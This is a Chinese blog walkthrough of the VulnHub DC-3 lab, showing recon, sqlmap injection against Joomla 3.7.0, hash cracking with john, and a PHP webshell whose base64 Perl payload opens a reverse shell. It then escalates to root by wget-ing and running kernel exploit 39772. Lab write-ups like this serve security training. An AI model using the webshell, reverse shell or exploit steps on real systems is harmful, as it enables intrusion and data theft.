vulnhub靶机-DC系列-DC-3
文章目录
- 信息收集
- 漏洞查找
- 漏洞利用
- SQL注入
- John工具密码爆破
- 反弹shell
- 提权
信息收集
主机扫描
arp-scan -l
可以用netdiscover
它是一个主动/被动的ARP 侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。
netdiscover -r 192.168.160.0/24
说明:
netdiscover
: 这是一个网络探测工具的命令,用于执行本地网络中的主机发现。-r 192.168.160.0/24
: 这是一个命令的选项参数,指定了要进行主机发现的 IP 地址范围。在这个例子中,IP 地址范围是192.168.160.0/24
,表示从192.168.160.1
到192.168.160.254
的所有 IP 地址。当执行这个命令时,
netdiscover
将发送 ARP 请求广播到指定的 IP 地址范围内的每个主机,并通过监听并收集其回应来确定哪些主机是活动的。通过这种方式,可以快速发现目标网络中的活动主机,以便进行进一步的分析或测试。
端口扫描
nmap -A 192.168.160.35
说明:
-A #全面扫描
nmap扫描工具使用
发现80端口可用,用的是Joomla
的cms
浏览器访问DC-3的 80端口,用Wappalyzer
插件,也可以看出是Joomla
的
发现80端口可用,用的是Joomla
的cms
浏览器访问DC-3的 80端口,用Wappalyzer
插件,也可以看出是Joomla
的
目录爆破
sudo python3 dirsearch.py -u 192.168.160.35 -i 200
说明:
-u URL
# URL目标
-i
#状态码
也可以用御剑后台扫描工具
也可以用nikto扫描 Nikto
进入后台管理页面
漏洞查找
joomscan
joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan
安装该工具。
joomscan -u 192.168.160.35
searchsploit
searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南
searchsploit是一个基于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。
# 搜索 joomla 3.7.0版本的漏洞
searchsploit joomla 3.7.0
发现有SQL注入漏洞和跨站脚本漏洞
使用find命令找出42033.txt
的位置
find / -name '42033.txt'
查看文件内容
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
给出了注入方法
漏洞利用
SQL注入
- 列出所有数据库
sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
说明:
-u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml"
: 这是一个选项参数,指定要进行注入测试的目标 URL。在这个例子中,目标 URL 是http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml
。--risk=3
: 这是一个选项参数,指定进行注入测试的风险级别(0-3,默认为1)。这里,风险级别被设置为 3,表示使用最高的风险级别进行测试。风险级别越低但是越安全--level=5
: 这是一个选项参数,指定进行注入测试的深度级别。sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5--random-agent
: 这是一个选项参数,指定在测试请求中使用随机的 User-Agent 头,以隐藏工具的身份。--dbs
: 这是一个选项参数,指示 sqlmap 在发现数据库后列出数据库名称。-p list[fullordering]
: 这是一个选项参数,指定要测试的注入点参数。在这个例子中,参数list[fullordering]
被指定为注入点。执行这个命令时,sqlmap 将使用给定的参数和选项对目标 URL 进行注入测试。它将尝试发现 SQL 注入漏洞,并进一步探测和利用这些漏洞。通过设置风险级别和深度级别,可以增强测试的准确性和深度。
执行结果:
-
列出指定数据库的所有表
sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
说明:
--tables
# 列出表执行结果:
-
列出指定库指定表的字段名
sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --column -p list[fullordering]
- 获取用户名和密码
sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password -p list[fullordering] --dump
说明:
-D joomladb
: 这是一个选项参数,指定要查询的数据库名称。在这里数据库名称被指定为joomladb
。-T "#__users"
: 这是一个选项参数,指定要查询的数据表名称。这里数据表名称被指定为#__users
。-C username,password
: 这是一个选项参数,指定要查询和显示的列名称。这里列名称被指定为username
和password
。-p list[fullordering]
: 这是一个选项参数,指定要测试的注入点参数。这里参数list[fullordering]
被指定为注入点。--dump
: 这是一个选项参数,指示 sqlmap 在发现脆弱点后,从数据库中导出数据。
执行结果:
发现用户的密码做了加密
John工具密码爆破
john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。
利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明
先在桌面创建一个文件,将得到的用户密码的hash值复制进去并保存,使用john破解。
john passwd.txt
执行结果:
得到密码后,登录后台界面
反弹shell
登陆后,就要开始寻找有没有可以getshell的地方,这类的cms肯定是有上传文件的地方,这里可以上传一个一句话木马,用蚁剑进行连接,也可以写一个php,反弹shell到我们的攻击机上,这边,经过寻找发现了有个templates的beez3的目录
写入php反弹shell
反弹代码:
<?php
function which($pr) {$path = execute("which $pr");return ($path ? $path : $pr);}
function execute($cfe) {$res = '';if ($cfe) {if(function_exists('exec')) {@exec($cfe,$res);$res = join("\n",$res);} elseif(function_exists('shell_exec')) {$res = @shell_exec($cfe);} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的shell路径为
http://192.168.160.35/templates/beez3/webshell.php
用kali来监听
nc -lvvp 7777
浏览器访问shell.php的地址http://192.168.160.35/templates/beez3/webshell.php
反弹成功!!!
Get交互shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
说明:
python3
: 这是执行 Python 解释器的命令。-c 'import pty; pty.spawn("/bin/bash")'
: 这是一个以字符串方式传递给 Python 解释器的脚本。脚本导入了pty
模块,并使用pty.spawn()
函数来启动一个新的/bin/bash
终端。当你在终端中执行这个命令时,它会调用 Python 解释器并执行指定的脚本。脚本导入
pty
模块,并使用pty.spawn()
函数来生成一个新的伪终端(shell)。这样,你就可以与一个交互式的终端进行交互,就像运行/bin/bash
一样。它通常在渗透测试或特权升级等情况下使用。它允许将一个非交互式的终端(shell)转变为一个可交互的终端,从而获取更多的权限和控制。
交互shell获取成功,但是还不是root权限
提权
查看操作系统版本信息
tac /etc/issue
说明:
tac
是一个命令行工具,用于反向显示文件的内容。/etc/issue
是一个特定的文件路径,代表系统登录时显示的欢迎信息。当你在终端中执行
tac /etc/issue
命令时,它会打开/etc/issue
文件并以相反的顺序显示文件的内容。换句话说,它会将文件的最后一行显示在第一行,倒数第二行显示在第二行,以此类推,直到第一行显示在最后。在许多 Linux 发行版中,
/etc/issue
文件通常包含一个欢迎信息,用于在用户登录或启动时显示系统的版本、主机名等相关信息。使用tac /etc/issue
命令可以反向显示这个欢迎信息,从底部开始逐行显示。
cat /proc/version
说明:
cat /proc/version
是一个用于在 Linux 系统中查看内核版本信息的命令。在 Linux 中,
/proc
目录是一个虚拟文件系统,提供了对运行中的内核和进程信息的访问。其中的/proc/version
文件包含有关内核版本的详细信息。
再次使用searchsploit工具搜索漏洞
searchsploit Ubuntu 16.04
Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式
使用find命令查找路径
find / -name '39772.txt'
执行结果:
绝对路径为:
/usr/share/exploitdb/exploits/linux/local/39772.txt
也可以直接用searchsploit -p linux/local/39772.txt
会直接显示出绝对路径
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
溢出提权(exp提权)
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
下载39772.zip,粘贴复制到kali里(不能拖到kali里面,否则会出现丢包的现象)
在桌面开启http服务,将下载好的文件导入到DC-3靶机里
python3 -m http.server 8888
浏览器进行访问http://192.168.160.32:8888
出现这个说明服务开启成功,exp地址是
http://192.168.160.32:8888/39772/exploit.tar
回到刚才的python交互shell
wget http://192.168.160.32:8888/39772/exploit.tar
下载完后用tar命令解压该压缩包
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
执行
./compile.sh
./doubleput
使用whoami
和id
查看当前用户和用户id
切换到root
的家目录
查看the-flag.txt
相关文章:
vulnhub靶机-DC系列-DC-3
文章目录 信息收集漏洞查找漏洞利用SQL注入John工具密码爆破反弹shell 提权 信息收集 主机扫描 arp-scan -l可以用netdiscover 它是一个主动/被动的ARP 侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。 netdiscover -r 192.1…...
【CTFHUB】SSRF原理之简单运用(一)
一、漏洞原理 SSRF 服务端请求伪造 原理:在某些网站中提供了从其他服务器获取数据的功能,攻击者能通过构造恶意的URL参数,恶意利用后可作为代理攻击远程或本地的服务器。 二、SSRF的利用 1.对目标外网、内网进行端口扫描。 2.攻击内网或本…...
wepack打包生产环境使用http-proxy-middleware做api代理转发的方法
首先安装http-proxy-middleware依赖,这个用npm和yarn安装都可以。 然后在express服务器的代码增加如下内容: const express require("express"); const app express(); const { createProxyMiddleware, fixRequestBody, } require("h…...
一百八十六、大数据离线数仓完整流程——步骤五、在Hive的DWS层建动态分区表并动态加载数据
一、目的 经过6个月的奋斗,项目的离线数仓部分终于可以上线了,因此整理一下离线数仓的整个流程,既是大家提供一个案例经验,也是对自己近半年的工作进行一个总结。 二、数仓实施步骤 (五)步骤五、在Hive的…...
Idea引入thymeleaf失败解决方法
报错 Whitelabel Error Page This application has no explicit mapping for /error, so you are seeing this as a fallback.Fri Sep 29 09:42:00 CST 2023 There was an unexpected error (typeNot Found, status404). 原因:html没有使用thymeleaf 首先要引入…...
Dev C++安装与运行
参考: https://blog.csdn.net/Keven_11/article/details/126388791 https://www.cnblogs.com/-Wallace-/p/cpp-stl.html 2021年真题要求 2022年真题要求 河南省的考试环境 IDE环境 Dev C 安装 下载 安装 点击OK,选择我接受 修改安装路径为D盘d:\Program Fi…...
Docker下如何构建包含延迟插件的RabbitMQ镜像
👨🏻💻 热爱摄影的程序员 👨🏻🎨 喜欢编码的设计师 🧕🏻 擅长设计的剪辑师 🧑🏻🏫 一位高冷无情的编码爱好者 大家好,我是 DevO…...
Vue3理解(6)
列表渲染 1.v-for指令基于一个数组来渲染列表,v-for指令的值需要使用 item in items形式的特殊语法,items是源数据的数组,而item是迭代项的别名。 2.在v-for块中可以完整访问父作用域内的属性和变量,v-for的第二个参数表示当前项的位置索引。…...
react+IntersectionObserver实现页面丝滑帧动画
实现效果: 加入帧动画前: 普通的静态页面 加入帧动画后: 可以看到,加入帧动画后,页面效果还是比较丝滑的。 技术实现 加入animation动画类 先用 **scss **定义三种动画类: .withAnimation {.fade1 {ani…...
项目实战第四十六讲:财务经营看板
项目实战第四十六讲:财务经营看板 本文是项目实战第四十六讲,财务经营看板。财务模块划分为两类:① 财务工具(执行和业务财务闭环)② 财务报表,本期需求为新增财务看板,共增加4个看板 文章目录 项目实战第四十六讲:财务经营看板1、需求背景2、流程图3、技术方案4、相关…...
【VUE复习·10】v-for 高级::key 作用和原理;尽量不要使用 index 来遍历
总览 1.:key 作用和原理 2.尽量不要使用 index 来遍历 一、:key 作用和原理 1.数据产生串位的原因 在我们使用 index 进行遍历的时候,会出现虚拟 DOM 和 真实 DOM 的渲染问题。 二、尽量不要使用 index 来遍历 详情见视频 1/3 处: https://www.bili…...
阿里云七代云服务器实例、倚天云服务器及通用算力型和经济型实例规格介绍
在目前阿里云的云服务器产品中,既有五代六代实例规格,也有七代和八代倚天云服务器,同时还有通用算力型及经济型这些刚推出不久的新品云服务器实例,其中第五代实例规格目前不在是主推的实例规格了,现在主售的实例规格是…...
《IIS系列》IIS日志文件管理
我们在使用IIS部署网站的时候,随着时间推移,IIS 生成的日志文件可能会消耗大量磁盘空间。 日志可能会填满整个硬盘驱动器,为了缓解此问题,许多用户完全关闭日志记录,但关了记录又会导致出现问题无从排查,故…...
3D孪生场景搭建:模型阵列摆放
阵列摆放概念 阵列摆放是指将物体、设备或元件按照一定的规则和间距排列组合的方式。在工程和科学领域中,阵列式摆放常常用于优化空间利用、提高效率或增强性能。 阵列摆放通常需要考虑间距、角度、方向、对称性等因素,以满足特定的要求和设计目标。不同…...
什么是大数据可视化
在互联网高速发展的当今,5G的兴起加速了数据传输的速度;与此同时,智能物联网如智慧家电、可穿戴设备等产品的火热,进一步扩充了数据获取的渠道。不仅仅在网页上、手机和电脑应用上以秒计产生海量数据,智能设备同时也在…...
python监控ES索引数量变化
文章目录 1, datafram根据相同的key聚合2, 数据合并:获取采集10,20,30分钟es索引数据脚本测试验证 1, datafram根据相同的key聚合 # 创建df1 > json {key:A, value:1 } {key:B, value:2 } data1 {key: [A, B], value: [1, 2]} df1 pd.DataFrame(data1)# 创建d…...
MySQL explain SQL分析工具详解与最佳实践
目录 一、explain工具介绍二、添加示例表和数据用于后续演示三、explain中的列3.1、id列3.2、select_type列3.3、table列3.4、partitions列3.5、type列NULLsystemconsteq_refrefrangeindexALL 3.6、possible_keys列3.7、key列3.8、key_len列3.9、ref列3.10、rows列3.11、filter…...
【2023年11月第四版教材】第16章《采购管理》(第一部分)
第16章《采购管理》(第一部分) 1 章节内容2 管理基础3 管理过程4 采购管理ITTO汇总 1 章节内容 【本章分值预测】大部分内容不变,细节有一些变化,预计选择题考3-4分,案例和论文 都有可能考;是需要重点学习…...
矢量图形编辑软件illustrator 2023 mac软件特点
illustrator 2023 mac是一款矢量图形编辑软件,用于创建和编辑排版、图标、标志、插图和其他类型的矢量图形。 illustrator mac软件特点 矢量图形:illustrator创建的图形是矢量图形,可以无限放大而不失真,这与像素图形编辑软件&am…...
前端架构师之01_JavaScript_Ajax
1 Web基础知识 1.1 Web服务器 Web服务器又称为网站服务器,主要用于提供网上信息浏览服务。常见的Web服务器软件有Apache HTTP Server(简称Apache)、Nginx等。 浏览器与服务器交互 在Web服务器中,请求资源又分为静态资源和动态…...
Java Spring Boot 目录结构介绍
Java Spring Boot 是一个用于简化Java应用程序开发的框架,它提供了一套灵活、易用的开发工具和约定,帮助开发者更快速地构建各种类型的Java应用程序。Spring Boot 的目录结构是一个重要的组成部分,它规定了如何组织和管理项目代码和资源文件。…...
ubuntu apt工具软件操作
apt工具 -----> 网关 国内网络(仓库源) 美国网络(仓库源)/etc/apt/sources.list https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/sudo apt-get update sudo apt install sl 安装包 sudo apt-cache show sl 查看包信…...
【论文阅读】UniDiffuser: Transformer+Diffusion 用于图、文互相推理
而多模态大模型将能够打通各种模态能力,实现任意模态之间转化,被认为是通用式生成模型的未来发展方向。 最近看到不少多模态大模型的工作,有医学、金融混合,还有CV&NLP。 今天介绍: One Transformer Fits All Di…...
Python爬虫教程——解析网页中的元素
前言: 嗨喽~大家好呀,这里是小曼呐 ~ 在我们理解了网页中标签是如何嵌套,以及网页的构成之后, 我们就是可以开始学习使用python中的第三方库BeautifulSoup筛选出一个网页中我们想要得到的数据。 接下来我们了解一下爬取网页信息…...
BiMPM实战文本匹配【上】
引言 今天来实现BiMPM模型进行文本匹配,数据集采用的是中文文本匹配数据集。内容较长,分为上下两部分。 数据准备 数据准备这里和之前的模型有些区别,主要是因为它同时有字符词表和单词词表。 from collections import defaultdict from …...
【C++】构造函数和析构函数第二部分(拷贝构造函数)--- 2023.9.28
目录 什么是拷贝构造函数?编译器默认的拷贝构造函数构造函数的分类及调用结束语 什么是拷贝构造函数? 用一句话来描述为拷贝构造即 “用一个已知的对象去初始化另一个对象” 具体怎么使用我们直接看代码,代码如下: class Maker…...
现在学RPA,还有前途吗,会不会太卷?
RPA是机器人流程自动化的缩写,是一种通过软件机器人模拟人类操作计算机的技术。随着人工智能和自动化技术的不断发展,RPA已经成为了企业数字化转型的重要工具之一。那么,现在学习RPA还有前途吗?会不会太卷? 一、RPA的…...
Vue的详细教程--用Vue-cli搭建SPA项目
Vue的详细教程--用Vue-cli搭建SPA项目 1.Vue-cli是什么2.什么是SPA项目1.vue init webpack spa2.一问一答模式2:运行完上面的命令后,我们需要将当前路径改变到SPA这个文件夹内,然后安装需要的模块此步骤可理解成:maven的web项目创…...
openldap访问控制
系统:debian12 /etc/ldap/slapd.d/cnconfig目录下 包含以下三个数据库: dn: olcDatabase{-1}frontend,cnconfig dn: olcDatabase{0}config,cnconfig dn: olcDatabase{1}mdb,cnconfigolcDatabase: [{\<index\>}]\<type\>数据库条目必须具有…...
阿里云服务器技术创新、网络技术和数据中心技术说明
阿里云服务器技术创新、网络技术创新、数据中心技术创新和智能运维:云服务器方升架构、自研硬件、自研存储硬件AliFlash和异构计算加速平台,以及全自研网络系统技术创新和数据中心巴拿马电源、液冷技术等技术创新说明,阿里云百科分享阿里云服…...
网站全网推广好还是做58精准好/网站编辑seo
15个网站失效死链接检查工具 损坏失效的链接,或者死链接是一个链接无法打开或者到达地址的指向。如果您的博客或网站中有很多失效死链接,那么它可能会为你的读者和游客带来非常坏的印象。此外,损坏的链接也将影响您的SEO排名。这是因为谷歌PR…...
wordpress 萌/百度推广优化中心
今天在写代码是遇到这个错误。 Type ‘..’ cannot be ISerializable and have DataContractAttribute attribute. 只是因为在一个类里面同时使用.Net 1.1 的XmlSerializer 和.NET 3.5的DataContractAttribue所导致的。这是不同版本的Framework对于序列化一个Object实现的不同技…...
大型网站seo策略/郑州网站营销推广
1、testng是什么?是一种测试框架,可以更方便的执行测试用例。2、如何安装?Eclipse——Help——Install New Softwarework with输入:http://beust.com/eclipse等待几秒钟,,选中Testng,一路nextwi…...
网站应当实现那些功能 流程如何设计/品牌营销策略
数据库表中的数据都是存储在页里的,那么一个页可以存放多少条记录呢?这取决于一行记录的大小是多少,假如一行数据大小是1k,那么理论上一页就可以放16条数据。当然,查询数据的时候,MySQL也不能把所有的页都遍…...
什么做自己的网站 应招聘人才/广告推广图片
今晚从《C必知必会》上看到SFINAE这个C的特性,也就是substitution failure is not an error,可惜怎么看都不能够理解。后来google了一下,参考了两篇文章,算是有点明白其中的微妙了吧。 我们都知道对于非模板函数的重载来说&#x…...
做垃圾词影响网站排名吗/seo搜索引擎优化期末及答案
非线程安全集合类(这里的集合指容器Collection,非Set)的迭代器结合了及时失败机制,但仍然是不安全的。这种不安全表现在许多方面: 并发修改“通常”导致及时失败单线程修改也可能导致及时失败的“误报”迭代器会“丢失…...